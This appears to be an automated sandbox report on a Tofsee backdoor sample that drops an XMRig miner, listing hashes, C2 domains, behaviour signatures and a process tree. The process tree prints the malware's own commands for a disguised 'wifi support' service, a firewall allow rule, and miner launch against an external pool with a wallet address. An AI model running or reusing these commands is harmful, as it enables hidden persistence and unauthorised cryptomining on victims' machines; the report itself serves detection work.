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Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20231020-en
  • resource tags

    arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
  • submitted
    24/10/2023, 01:42

General

  • Target

    1a9f34a4410437ddb1a2d8051099d92990751e9743b1b1a4d909fa0113da0e07.exe

  • Size

    179KB

  • MD5

    652f00b6afd02c149a52a299ee2d2455

  • SHA1

    dfc353413a54c37aeb1a190bdacae61c19e2e63d

  • SHA256

    1a9f34a4410437ddb1a2d8051099d92990751e9743b1b1a4d909fa0113da0e07

  • SHA512

    28c7a881bb6b0f072ca8bcd41276f978f9dbaada71ff12e1d0b66c903a17c58a9c00e4d6c115a5de285238b2b9790da4e82554fec82ba88bd6d0943171bd0d1f

  • SSDEEP

    3072:cyBNbfgueA8c9TnxCBqKbWQeev6sMODgeP9NUU7qQPoxdc30YbQBX:/uTA8oTnYMKbWQ35MOc6cUKdCz

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1a9f34a4410437ddb1a2d8051099d92990751e9743b1b1a4d909fa0113da0e07.exe
    "C:\Users\Admin\AppData\Local\Temp\1a9f34a4410437ddb1a2d8051099d92990751e9743b1b1a4d909fa0113da0e07.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2176
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\wrjbejhu\
      2⤵
        PID:2888
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\xgmxvkc.exe" C:\Windows\SysWOW64\wrjbejhu\
        2⤵
          PID:2104
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create wrjbejhu binPath= "C:\Windows\SysWOW64\wrjbejhu\xgmxvkc.exe /d\"C:\Users\Admin\AppData\Local\Temp\1a9f34a4410437ddb1a2d8051099d92990751e9743b1b1a4d909fa0113da0e07.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2684
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description wrjbejhu "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2912
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start wrjbejhu
          2⤵
          • Launches sc.exe
          PID:2444
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2588
      • C:\Windows\SysWOW64\wrjbejhu\xgmxvkc.exe
        C:\Windows\SysWOW64\wrjbejhu\xgmxvkc.exe /d"C:\Users\Admin\AppData\Local\Temp\1a9f34a4410437ddb1a2d8051099d92990751e9743b1b1a4d909fa0113da0e07.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2720
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2620
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2148

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\xgmxvkc.exe

        Filesize

        12.8MB

        MD5

        70cd2079f34f50c798128432fcd04f50

        SHA1

        c8151170db0d1201665443e2710b63b63e250b04

        SHA256

        0c10fd17fa0287afde712e5f2596ff399688ba486b1f275f473a0543f26943f3

        SHA512

        ead1839bcb4770b61049e8bcd85be03e7a529df1a7cbc64a09b969bd89eafdc9151714d953fac9087c5816e1fdc22b755067104d4ee86732d3b3e6a19a775e44

      • C:\Windows\SysWOW64\wrjbejhu\xgmxvkc.exe

        Filesize

        12.8MB

        MD5

        70cd2079f34f50c798128432fcd04f50

        SHA1

        c8151170db0d1201665443e2710b63b63e250b04

        SHA256

        0c10fd17fa0287afde712e5f2596ff399688ba486b1f275f473a0543f26943f3

        SHA512

        ead1839bcb4770b61049e8bcd85be03e7a529df1a7cbc64a09b969bd89eafdc9151714d953fac9087c5816e1fdc22b755067104d4ee86732d3b3e6a19a775e44

      • memory/2148-74-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2148-78-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2148-77-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2148-76-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2148-75-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2148-73-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2148-65-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2148-63-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2176-2-0x00000000002B0000-0x00000000002C3000-memory.dmp

        Filesize

        76KB

      • memory/2176-6-0x0000000000400000-0x00000000007B6000-memory.dmp

        Filesize

        3.7MB

      • memory/2176-7-0x00000000002B0000-0x00000000002C3000-memory.dmp

        Filesize

        76KB

      • memory/2176-1-0x0000000000840000-0x0000000000940000-memory.dmp

        Filesize

        1024KB

      • memory/2176-4-0x0000000000400000-0x00000000007B6000-memory.dmp

        Filesize

        3.7MB

      • memory/2620-38-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2620-46-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2620-27-0x00000000019B0000-0x0000000001BBF000-memory.dmp

        Filesize

        2.1MB

      • memory/2620-28-0x0000000000170000-0x0000000000176000-memory.dmp

        Filesize

        24KB

      • memory/2620-31-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2620-34-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2620-35-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2620-37-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2620-36-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2620-23-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/2620-39-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2620-44-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2620-43-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2620-42-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2620-41-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2620-40-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2620-45-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2620-24-0x00000000019B0000-0x0000000001BBF000-memory.dmp

        Filesize

        2.1MB

      • memory/2620-48-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2620-47-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2620-49-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2620-50-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2620-51-0x0000000000210000-0x0000000000215000-memory.dmp

        Filesize

        20KB

      • memory/2620-54-0x0000000000210000-0x0000000000215000-memory.dmp

        Filesize

        20KB

      • memory/2620-55-0x0000000005970000-0x0000000005D7B000-memory.dmp

        Filesize

        4.0MB

      • memory/2620-58-0x0000000005970000-0x0000000005D7B000-memory.dmp

        Filesize

        4.0MB

      • memory/2620-59-0x0000000000220000-0x0000000000227000-memory.dmp

        Filesize

        28KB

      • memory/2620-21-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/2620-20-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/2620-13-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2620-15-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/2620-11-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/2720-17-0x0000000000400000-0x00000000007B6000-memory.dmp

        Filesize

        3.7MB

      • memory/2720-12-0x0000000000400000-0x00000000007B6000-memory.dmp

        Filesize

        3.7MB

      • memory/2720-10-0x00000000002B0000-0x00000000003B0000-memory.dmp

        Filesize

        1024KB